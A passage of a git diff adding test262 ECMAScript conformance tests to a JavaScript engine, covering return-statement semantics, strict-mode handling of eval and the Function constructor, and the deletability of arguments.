+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Appearing of "return" without a function body leads to syntax error
+ *
+ * @path ch12/12.9/S12.9_A1_T9.js
+ * @description Checking if execution of "return", placed into a catch Block, fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try {
+ throw 1;
+} catch(e){
+ return e;
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.9/S12.9_A2.js b/js/src/tests/test262/ch12/12.9/S12.9_A2.js
new file mode 100644
index 000000000..177205dbb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.9/S12.9_A2.js
@@ -0,0 +1,55 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * LineTerminator between return and Identifier_opt yields return without Identifier_opt
+ *
+ * @path ch12/12.9/S12.9_A2.js
+ * @description Checking by using eval, inserting LineTerminator between return and Variable
+ */
+
+//CHECK#1
+try{
+ if (eval("(function(){var x = 1;return\u000Ax;var y=2;})()") !== undefined) {
+ $ERROR("#1: LineTerminator(U-000A) between return and Identifier_opt yields return without Identifier_opt");
+ }
+} catch(e){
+ $ERROR('#1: eval("(function(){var x = 1;return\\u000Ax;var y=2;})()") does not lead to throwing exception');
+}
+
+
+
+
+//CHECK#2
+try{
+ if (eval("(function(){var x = 1;return\u000Dx;var y=2;})()") !== undefined) {
+ $ERROR("#1: LineTerminator(U-000D) between return and Identifier_opt yields return without Identifier_opt");
+ }
+} catch(e){
+ $ERROR('#2: eval("(function(){var x = 1;return\\u000Dx;var y=2;})()") does not lead to throwing exception');
+}
+
+
+
+
+//CHECK#3
+try{
+ if (eval("(function(){var x = 1;return\u2028x;var y=2;})()") !== undefined) {
+ $ERROR("#1: LineTerminator(U-2028) between return and Identifier_opt yields return without Identifier_opt");
+ }
+} catch(e){
+ $ERROR('#3: eval("(function(){var x = 1;return\\u2028x;var y=2;})()") does not lead to throwing exception');
+}
+
+
+
+
+//CHECK#4
+try{
+ if (eval("(function(){var x =1;return\u2029x;var y=2;})()") !== undefined) {
+ $ERROR("#1: LineTerminator(U-2029) between return and Identifier_opt yields return without Identifier_opt");
+ }
+} catch(e){
+ $ERROR('#4: eval("(function(){var x =1;return\\u2029x;var y=2;})()") does not lead to throwing exception');
+}
+
diff --git a/js/src/tests/test262/ch12/12.9/S12.9_A3.js b/js/src/tests/test262/ch12/12.9/S12.9_A3.js
new file mode 100644
index 000000000..95b87c363
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.9/S12.9_A3.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Expression is omitted, the return value is undefined
+ *
+ * @path ch12/12.9/S12.9_A3.js
+ * @description Return without Expression
+ */
+
+__evaluated = (function (){return;})();
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__evaluated !== undefined) {
+ $ERROR('#1: If Expression is omitted, the return value is undefined');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.9/S12.9_A4.js b/js/src/tests/test262/ch12/12.9/S12.9_A4.js
new file mode 100644
index 000000000..97c923979
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.9/S12.9_A4.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production ReturnStatement : return Expression; is evaluated as:
+ * i) Evaluate Expression.
+ * ii) Call GetValue(Result(2)).
+ * iii) Return (return, Result(3), empty)
+ *
+ * @path ch12/12.9/S12.9_A4.js
+ * @description Return very sophisticated expression and function
+ */
+
+// second derivative
+function DD_operator(f, delta){return function(x){return (f(x+delta)-2*f(x)+f(x-delta))/(delta*delta)};}
+
+DDsin = DD_operator(Math.sin, 0.00001);
+
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+// ((sin(x))')' = -sin(x)
+if (DDsin( Math.PI/2 ) + Math.sin( Math.PI/2 ) > 0.00001) {
+ $ERROR('#1: return Expression yields to Return (return, GetValue(Evaluate Expression), empty)');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.9/S12.9_A5.js b/js/src/tests/test262/ch12/12.9/S12.9_A5.js
new file mode 100644
index 000000000..3b0b98e43
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.9/S12.9_A5.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Code after ReturnStatement is not evaluated
+ *
+ * @path ch12/12.9/S12.9_A5.js
+ * @description Using code after Return statement
+ */
+
+//CHECK#1
+var x1=1;
+function myfunc1(){
+ x1++;
+ return;
+ x1*=2;
+}
+myfunc1();
+if (x1!==2) $ERROR('#1: x1 === 2. Actual: x1 ==='+ x1 );
+
+//CHECK#2
+var x2=1;
+function myfunc2(){
+ x2++;
+ return x2;
+ x2*=2;
+}
+myfunc2();
+if (x2!==2) $ERROR('#2: x2 === 2. Actual: x2 ==='+ x2 );
+
+//CHECK#3
+var x3=1;
+function myfunc3(){
+ x3++;
+ return;
+ return x3;
+ x3*=2;
+}
+if (myfunc3()!==undefined) $ERROR('#3: myfunc3() === undefined. Actual: myfunc3() ==='+ myfunc3() );
+
diff --git a/js/src/tests/test262/ch12/12.9/browser.js b/js/src/tests/test262/ch12/12.9/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.9/browser.js
diff --git a/js/src/tests/test262/ch12/12.9/shell.js b/js/src/tests/test262/ch12/12.9/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.9/shell.js
diff --git a/js/src/tests/test262/ch12/browser.js b/js/src/tests/test262/ch12/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/browser.js
diff --git a/js/src/tests/test262/ch12/shell.js b/js/src/tests/test262/ch12/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/shell.js
diff --git a/js/src/tests/test262/ch13/13.0/13.0-1.js b/js/src/tests/test262/ch13/13.0/13.0-1.js
new file mode 100644
index 000000000..0873465b5
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/13.0-1.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.0/13.0-1.js
+ * @description 13.0 - multiple names in one function declaration is not allowed, two function names
+ */
+
+
+function testcase() {
+ try {
+ eval("function x, y() {}");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.0/13.0-10-s.js b/js/src/tests/test262/ch13/13.0/13.0-10-s.js
new file mode 100644
index 000000000..71af1f4e4
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/13.0-10-s.js
@@ -0,0 +1,32 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13;
+ * The production FunctionBody : SourceElementsopt is evaluated as follows:
+ *
+ * @path ch13/13.0/13.0-10-s.js
+ * @description Strict Mode - SourceElements is evaluated as strict mode code when the code of this FunctionBody with an inner function contains a Use Strict Directive
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ function _13_0_10_fun() {
+ function _13_0_10_inner() {
+ "use strict";
+ eval("eval = 42;");
+ }
+ _13_0_10_inner();
+ };
+ try {
+ _13_0_10_fun();
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.0/13.0-11-s.js b/js/src/tests/test262/ch13/13.0/13.0-11-s.js
new file mode 100644
index 000000000..5c623c054
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/13.0-11-s.js
@@ -0,0 +1,32 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13;
+ * The production FunctionBody : SourceElementsopt is evaluated as follows:
+ *
+ * @path ch13/13.0/13.0-11-s.js
+ * @description Strict Mode - SourceElements is evaluated as strict mode code when the code of this FunctionBody with an inner function which is in strict mode
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ function _13_0_11_fun() {
+ "use strict";
+ function _13_0_11_inner() {
+ eval("eval = 42;");
+ }
+ _13_0_11_inner();
+ };
+ try {
+ _13_0_11_fun();
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.0/13.0-12-s.js b/js/src/tests/test262/ch13/13.0/13.0-12-s.js
new file mode 100644
index 000000000..17d593f1e
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/13.0-12-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13;
+ * The production FunctionBody : SourceElementsopt is evaluated as follows:
+ *
+ * @path ch13/13.0/13.0-12-s.js
+ * @description Strict Mode - SourceElements is not evaluated as strict mode code when a Function constructor is contained in strict mode code and the function constructor body is not strict
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ var _13_0_12_fun = new Function(" ","eval = 42;");
+ _13_0_12_fun();
+ return true;
+
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.0/13.0-13-s.js b/js/src/tests/test262/ch13/13.0/13.0-13-s.js
new file mode 100644
index 000000000..1e231e4aa
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/13.0-13-s.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13;
+ * The production FunctionBody : SourceElementsopt is evaluated as follows:
+ *
+ * @path ch13/13.0/13.0-13-s.js
+ * @description Strict Mode - SourceElements is evaluated as strict mode code when the function body of a Function constructor begins with a Strict Directive
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ eval("var _13_0_13_fun = new Function(\" \", \"'use strict'; eval = 42;\"); _13_0_13_fun();");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.0/13.0-14-s.js b/js/src/tests/test262/ch13/13.0/13.0-14-s.js
new file mode 100644
index 000000000..86ec4534d
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/13.0-14-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13;
+ * The production FunctionBody : SourceElementsopt is evaluated as follows:
+ *
+ * @path ch13/13.0/13.0-14-s.js
+ * @description Strict Mode - SourceElements is evaluated as strict mode code when the function body of a Function constructor contains a Strict Directive
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ var _13_0_14_fun = new Function(" ", "'use strict'; eval = 42; ");
+ _13_0_14_fun();
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.0/13.0-15-s.js b/js/src/tests/test262/ch13/13.0/13.0-15-s.js
new file mode 100644
index 000000000..7f86492f7
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/13.0-15-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13;
+ * The production FunctionBody : SourceElementsopt is evaluated as follows:
+ *
+ * @path ch13/13.0/13.0-15-s.js
+ * @description Strict Mode - SourceElements is evaluated as strict mode code when a FunctionDeclaration is contained in strict mode code within eval code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ eval("'use strict'; function _13_0_15_fun() {eval = 42;};");
+ _13_0_15_fun();
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.0/13.0-16-s.js b/js/src/tests/test262/ch13/13.0/13.0-16-s.js
new file mode 100644
index 000000000..93c01c323
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/13.0-16-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13;
+ * The production FunctionBody : SourceElementsopt is evaluated as follows:
+ *
+ * @path ch13/13.0/13.0-16-s.js
+ * @description Strict Mode - SourceElements is evaluated as strict mode code when a FunctionExpression is contained in strict mode code within eval code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ eval("'use strict'; var _13_0_16_fun = function () {eval = 42;};");
+ _13_0_16_fun();
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.0/13.0-17-s.js b/js/src/tests/test262/ch13/13.0/13.0-17-s.js
new file mode 100644
index 000000000..283b3f7c3
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/13.0-17-s.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13;
+ * The production FunctionBody : SourceElementsopt is evaluated as follows:
+ *
+ * @path ch13/13.0/13.0-17-s.js
+ * @description Strict Mode - SourceElements is not evaluated as strict mode code when a Function constructor is contained in strict mode code within eval code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ eval("'use strict'; var _13_0_17_fun = new Function('eval = 42;'); _13_0_17_fun();");
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.0/13.0-2.js b/js/src/tests/test262/ch13/13.0/13.0-2.js
new file mode 100644
index 000000000..d30becfbf
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/13.0-2.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.0/13.0-2.js
+ * @description 13.0 - multiple names in one function declaration is not allowed, three function names
+ */
+
+
+function testcase() {
+ try {
+ eval("function x,y,z(){}");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.0/13.0-3.js b/js/src/tests/test262/ch13/13.0/13.0-3.js
new file mode 100644
index 000000000..780c2d2b9
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/13.0-3.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.0/13.0-3.js
+ * @description 13.0 - property names in function definition is not allowed, add a new property into object
+ */
+
+
+function testcase() {
+ var obj = {};
+ try {
+ eval("function obj.tt() {};");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.0/13.0-4.js b/js/src/tests/test262/ch13/13.0/13.0-4.js
new file mode 100644
index 000000000..ce881f319
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/13.0-4.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch13/13.0/13.0-4.js
+ * @description 13.0 - multiple names in one function declaration is not allowed, add a new property into a property which is a object
+ */
+
+
+function testcase() {
+ var obj = {};
+ obj.tt = { len: 10 };
+ try {
+ eval("function obj.tt.ss() {};");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.0/13.0-7-s.js b/js/src/tests/test262/ch13/13.0/13.0-7-s.js
new file mode 100644
index 000000000..e73ed6548
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/13.0-7-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13;
+ * The production FunctionBody : SourceElementsopt is evaluated as follows:
+ *
+ * @path ch13/13.0/13.0-7-s.js
+ * @description Strict Mode - SourceElements is evaluated as strict mode code when the code of this FunctionDeclaration is contained in non-strict mode but the call to eval is a direct call in strict mode code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ eval("'use strict'; function _13_0_7_fun() {eval = 42;};");
+ _13_0_7_fun();
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.0/13.0-8-s.js b/js/src/tests/test262/ch13/13.0/13.0-8-s.js
new file mode 100644
index 000000000..a1b6e22a3
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/13.0-8-s.js
@@ -0,0 +1,27 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13;
+ * The production FunctionBody : SourceElementsopt is evaluated as follows:
+ *
+ * @path ch13/13.0/13.0-8-s.js
+ * @description Strict Mode - SourceElements is evaluated as strict mode code when the code of this FunctionExpression is contained in non-strict mode but the call to eval is a direct call in strict mode code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("var _13_0_8_fun = function () {eval = 42;};");
+ _13_0_8_fun();
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.0/13.0-9-s.js b/js/src/tests/test262/ch13/13.0/13.0-9-s.js
new file mode 100644
index 000000000..a7f12ca4f
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/13.0-9-s.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 13;
+ * The production FunctionBody : SourceElementsopt is evaluated as follows:
+ *
+ * @path ch13/13.0/13.0-9-s.js
+ * @description Strict Mode - SourceElements is evaluated as strict mode code when a FunctionDeclaration that is contained in strict mode code has an inner function
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ var _13_0_9_fun = function () {
+ function _13_0_9_inner() { eval("eval = 42;"); }
+ _13_0_9_inner();
+ };
+ try {
+ _13_0_9_fun();
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch13/13.0/13.0_4-17gs.js b/js/src/tests/test262/ch13/13.0/13.0_4-17gs.js
new file mode 100644
index 000000000..c5eb74302
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/13.0_4-17gs.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+
+/**
+ * @path ch13/13.0/13.0_4-17gs.js
+ * @description Strict Mode - SourceElements is not evaluated as strict mode code when a Function constructor is contained in strict mode code
+ * @onlyStrict
+ * @negative NotEarlyError
+ */
+
+"use strict";
+var _13_0_4_17_fun = new Function('eval = 42;');
+throw NotEarlyError;
diff --git a/js/src/tests/test262/ch13/13.0/13.0_4-5gs.js b/js/src/tests/test262/ch13/13.0/13.0_4-5gs.js
new file mode 100644
index 000000000..4f9c01325
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/13.0_4-5gs.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+
+/**
+ * @path ch13/13.0/13.0_4-5gs.js
+ * @description Strict Mode - SourceElements is evaluated as strict mode code when a FunctionDeclaration is contained in strict mode code
+ * @onlyStrict
+ * @negative ^((?!NotEarlyError).)*$
+ */
+
+"use strict";
+throw NotEarlyError;
+function _13_0_4_5_fun() { eval = 42; };
diff --git a/js/src/tests/test262/ch13/13.0/S13_A1.js b/js/src/tests/test262/ch13/13.0/S13_A1.js
new file mode 100644
index 000000000..8d0a905af
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A1.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "x=function y(){}" statement does not store a reference to the new function in the varaible y(Identifier)
+ *
+ * @path ch13/13.0/S13_A1.js
+ * @description Checking the type of y
+ */
+
+var __func = function __exp__func(){return 0;};
+
+////////////////////////////////////////////////
+// //////////////////////////////
+//CHECK#1
+if (typeof __func !== "function") {
+ $ERROR('#1: typeof __func === "function". Actual: typeof __func ==='+typeof __func);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (typeof __exp__func !== "undefined"){
+ $ERROR('#2: typeof __exp__func === "undefined". Actual: typeof __exp__func ==='+typeof __exp__func);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A10.js b/js/src/tests/test262/ch13/13.0/S13_A10.js
new file mode 100644
index 000000000..dd85f242b
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A10.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Function is a data
+ *
+ * @path ch13/13.0/S13_A10.js
+ * @description Using function as a property of an object
+ */
+
+function __ziggy__func(){return "ziggy stardust"}
+
+var __music_box={};
+
+__music_box.ziggy = __ziggy__func;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#
+if (typeof __music_box.ziggy !== "function") {
+ $ERROR('#1: typeof __music_box.ziggy === "function". Actual: typeof __music_box.ziggy ==='+typeof __music_box.ziggy);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__music_box.ziggy() !== "ziggy stardust") {
+ $ERROR('#2: __music_box.ziggy() === "ziggy stardust". Actual: __music_box.ziggy() ==='+__music_box.ziggy());
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A11_T1.js b/js/src/tests/test262/ch13/13.0/S13_A11_T1.js
new file mode 100644
index 000000000..e9dc0e39a
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A11_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Since arguments property has attribute { DontDelete }, only its elements can be deleted
+ *
+ * @path ch13/13.0/S13_A11_T1.js
+ * @description Returning result of "delete arguments"
+ */
+
+function __func(){ return delete arguments;}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__func("A","B",1,2)) {
+ $ERROR('#1: arguments property has attribute { DontDelete }');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A11_T2.js b/js/src/tests/test262/ch13/13.0/S13_A11_T2.js
new file mode 100644
index 000000000..18886a307
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A11_T2.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Since arguments property has attribute { DontDelete }, only its elements can be deleted
+ *
+ * @path ch13/13.0/S13_A11_T2.js
+ * @description Checking if deleting the arguments property fails and then returning it
+ */
+
+function __func(){
+ delete arguments;
+ return arguments;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (typeof __func("A","B",1,2) !== "object") {
+ $ERROR('#1: arguments property has attribute { DontDelete }');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A11_T3.js b/js/src/tests/test262/ch13/13.0/S13_A11_T3.js
new file mode 100644
index 000000000..94345da8f
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A11_T3.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Since arguments property has attribute { DontDelete }, only its elements can be deleted
+ *
+ * @path ch13/13.0/S13_A11_T3.js
+ * @description Deleting arguments[i] and returning result of the operation
+ */
+
+function __func(){
+ was_del=false;
+ for (i=0; i < arguments.length; i++)
+ was_del= was_del || delete arguments[i];
+ return was_del;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (!__func("A","B",1,2)) {
+ $ERROR('#1: Since arguments property has attribute { DontDelete } elements of arguments can be deleted');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A11_T4.js b/js/src/tests/test262/ch13/13.0/S13_A11_T4.js
new file mode 100644
index 000000000..c107879cd
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A11_T4.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Since arguments property has attribute { DontDelete }, only its elements can be deleted
+ *
+ * @path ch13/13.0/S13_A11_T4.js
+ * @description Deleting arguments[i] and checking the type of arguments[i]
+ */
+
+function __func(){
+ is_undef=true;
+ for (i=0; i < arguments.length; i++)
+ {
+ delete arguments[i];
+ is_undef= is_undef && (typeof arguments[i] === "undefined");
+ };
+ return is_undef;
+};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (!__func("A","B",1,2)) {
+ $ERROR('#1: Since arguments property has attribute { DontDelete }, but elements of arguments can be deleted');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch13/13.0/S13_A12_T1.js b/js/src/tests/test262/ch13/13.0/S13_A12_T1.js
new file mode 100644
index 000000000..278a46ac6
--- /dev/null
+++ b/js/src/tests/test262/ch13/13.0/S13_A12_T1.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
